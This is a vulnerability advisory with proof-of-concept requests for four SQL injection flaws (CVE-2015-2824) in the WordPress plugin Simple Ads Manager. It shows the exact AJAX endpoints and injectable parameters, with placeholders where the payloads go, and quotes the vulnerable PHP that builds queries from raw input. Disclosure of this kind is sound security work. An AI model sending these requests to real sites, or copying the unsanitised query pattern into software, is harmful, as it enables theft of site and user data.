#Vulnerability title: Wordpress plugin Simple Ads Manager - Multiple SQL
Injection
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.org/minimus/
#Affected version: Simple Ads Manager 2.5.94 and 2.5.96 #Download link:
https://wordpress.org/plugins/simple-ads-manager/
#CVE ID: CVE-2015-2824
#Author: Le Hong Minh (minh.h.le@itas.vn) & ITAS Team


::PROOF OF CONCEPT::

---SQL INJECTION 1---

+ REQUEST:

POST /wp-content/plugins/simple-ads-manager/sam-ajax.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101
Firefox/28.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://target.com/archives/wordpress-plugin-simple-ads-manager/
Content-Length: 270
Cookie: wooTracker=cx5qN1BQ4nmu; _ga=GA1.2.344989027.1425640938;
PHPSESSID=kqvtir87g33e2ujkc290l5bmm7;
cre_datacookie=8405688a-3dec-4d02-9405-68f53281e991; _gat=1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

action=sam_hits&hits%5B0%5D%5B%5D=<SQL INJECTION
HERE>&hits%5B1%5D%5B%5D=<SQL INJECTION HERE>&hits%5B2%5D%5B%5D=<SQL
INJECTION HERE>&level=3


- Vulnerable file: simple-ads-manager/sam-ajax.php
- Vulnerable code:

    case 'sam_ajax_sam_hits':
      if(isset($_POST['hits']) && is_array($_POST['hits'])) {
        $hits = $_POST['hits'];
        $values = '';
        $remoteAddr = $_SERVER['REMOTE_ADDR'];
        foreach($hits as $hit) {
          $values .= ((empty($values)) ? '' : ', ')
. "({$hit[1]}, {$hit[0]}, NOW(), 0, \"{$remoteAddr}\")";
        }
        $sql = "INSERT INTO $sTable (id, pid, event_time,
event_type, remote_addr) VALUES {$values};";
        $result = $wpdb->query($sql);
        if($result > 0) echo json_encode(array('success'
=> true, 'sql' => $sql, 'addr' => $_SERVER['REMOTE_ADDR']));
        else echo json_encode(array(
          'success' => false,
          'result' => $result,
          'sql' => $sql,
          'hits' => $hits,
          'values' => $values
        ));  
      }
      break;


      
      
---SQL INJECTION 2---
+REQUEST
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: hostname
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=load_posts&cstr=<SQL INJECTION HERE>&sp=Post&spg=Page

+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php
+ Vulnerable code:
case 'sam_ajax_load_posts':
      $custs = (isset($_REQUEST['cstr'])) ? $_REQUEST['cstr'] : '';
      $sPost = (isset($_REQUEST['sp'])) ? urldecode( $_REQUEST['sp'] ) :
'Post';
      $sPage = (isset($_REQUEST['spg'])) ? urldecode( $_REQUEST['spg'] ) :
'Page';

      //set @row_num = 0;
      //SELECT @row_num := @row_num + 1 AS recid
      $sql = "SELECT
                wp.id,
                wp.post_title AS title,
                wp.post_type AS type
              FROM
                $postTable wp
              WHERE
                wp.post_status = 'publish' AND
                FIND_IN_SET(wp.post_type, 'post,page{$custs}')
              ORDER BY wp.id;";

      $posts = $wpdb->get_results($sql, ARRAY_A);

      $k = 0;
      foreach($posts as &$val) {
        switch($val['type']) {
          case 'post':
            $val['type'] = $sPost;
            break;
          case 'page':
            $val['type'] = $sPage;
            break;
          default:
            $val['type'] = $sPost . ': '.$val['type'];
            break;
        }
        $k++;
        $val['recid'] = $k;
      }
      $out = array(
        'status' => 'success',
        'total' => count($posts),
        'records' => $posts
      );
      break;

    
    
---SQL INJECTION 3---
+REQUEST:

POST
/wp-content/plugins/simple-ads-manager/sam-ajax-admin.php?searchTerm=<SQL
INJECTION HERE> HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101
Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __utma=30068390.891873145.1426646160.1426734944.1427794022.6;
__utmz=30068390.1426646160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
;
wp-settings-1=hidetb%3D1%26libraryContent%3Dbrowse%26imgsize%3Dfull%26align%
3Dcenter%26urlbutton%3Dpost%26editor%3Dtinymce%26mfold%3Do%26advImgDetails%3
Dshow%26ed_size%3D456%26dfw_width%3D822%26wplink%3D1;
wp-settings-time-1=1426646255; PHPSESSID=9qrpbn6kh66h4eb102278b3hv5;
wordpress_test_cookie=WP+Cookie+check; bp-activity-oldestpage=1;
__utmb=30068390.1.10.1427794022; __utmc=30068390
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

action=load_combo_data

+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php
+Vulnerable code: from line 225 to 255
    case 'sam_ajax_load_combo_data':
      $page = $_GET['page'];
      $rows = $_GET['rows'];
      $searchTerm = $_GET['searchTerm'];
      $offset = ((int)$page - 1) * (int)$rows;
      $sql = "SELECT
                wu.id,
                wu.display_name AS title,
                wu.user_nicename AS slug,
                wu.user_email AS email
              FROM
                $uTable wu
              WHERE wu.user_nicename LIKE '{$searchTerm}%'
              ORDER BY wu.id
              LIMIT $offset, $rows;";
      $users = $wpdb->get_results($sql, ARRAY_A);
      $sql = "SELECT COUNT(*) FROM $uTable wu WHERE wu.user_nicename LIKE
'{$searchTerm}%';";
      $rTotal = $wpdb->get_var($sql);
      $total = ceil((int)$rTotal/(int)$rows);
      $out = array(
        'page' => $page,
        'records' => count($users),
        'rows' => $users,
        'total' => $total,
        'offset' => $offset
      );
      break;

    
    
    
---SQL INJECTION 4---

+ REQUEST

POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101
Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __utma=30068390.891873145.1426646160.1426734944.1427794022.6;
__utmz=30068390.1426646160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
;
wp-settings-1=hidetb%3D1%26libraryContent%3Dbrowse%26imgsize%3Dfull%26align%
3Dcenter%26urlbutton%3Dpost%26editor%3Dtinymce%26mfold%3Do%26advImgDetails%3
Dshow%26ed_size%3D456%26dfw_width%3D822%26wplink%3D1;
wp-settings-time-1=1426646255; PHPSESSID=9qrpbn6kh66h4eb102278b3hv5;
wordpress_test_cookie=WP+Cookie+check; bp-activity-oldestpage=1;
__utmc=30068390
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

action=load_users&subscriber=<SQL INJECTION HERE>&contributor=<SQL INJECTION
HERE>&author=<SQL INJECTION HERE>&editor=<SQL INJECTION HERE>&admin=<SQL
INJECTION HERE>&sadmin=<SQL INJECTION HERE>

+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php

+ Vulnerable code: from line 188 to 223
    case 'sam_ajax_load_users':
      $roleSubscriber = (isset($_REQUEST['subscriber'])) ?
urldecode($_REQUEST['subscriber']) : 'Subscriber';
      $roleContributor = (isset($_REQUEST['contributor'])) ?
urldecode($_REQUEST['contributor']) : 'Contributor';
      $roleAuthor = (isset($_REQUEST['author'])) ?
urldecode($_REQUEST['author']) : 'Author';
      $roleEditor = (isset($_REQUEST['editor'])) ?
urldecode($_REQUEST['editor']) : 'Editor';
      $roleAdministrator = (isset($_REQUEST["admin"])) ?
urldecode($_REQUEST["admin"]) : 'Administrator';
      $roleSuperAdmin = (isset($_REQUEST['sadmin'])) ?
urldecode($_REQUEST['sadmin']) : 'Super Admin';
      $sql = "SELECT
                wu.id,
                wu.display_name AS title,
                wu.user_nicename AS slug,
                (CASE wum.meta_value
                  WHEN 0 THEN '$roleSubscriber'
                  WHEN 1 THEN '$roleContributor'
                  WHEN 2 THEN '$roleAuthor'
                  ELSE
                    IF(wum.meta_value > 2 AND wum.meta_value <= 7,
'$roleEditor',
                      IF(wum.meta_value > 7 AND wum.meta_value <= 10,
'$roleAdministrator',
                        IF(wum.meta_value > 10, '$roleSuperAdmin', NULL)
                      )
                    )
                END) AS role
              FROM $uTable wu
              INNER JOIN $umTable wum
                ON wu.id = wum.user_id AND wum.meta_key = '$userLevel'
              ORDER BY wu.id;";
      $users = $wpdb->get_results($sql, ARRAY_A);
      $k = 0;
      foreach($users as &$val) {
        $k++;
        $val['recid'] = $k;
      }
      $out = $users;
      break;

REFERENCE: 
+ https://www.youtube.com/watch?v=HPJ1r9dhIB4


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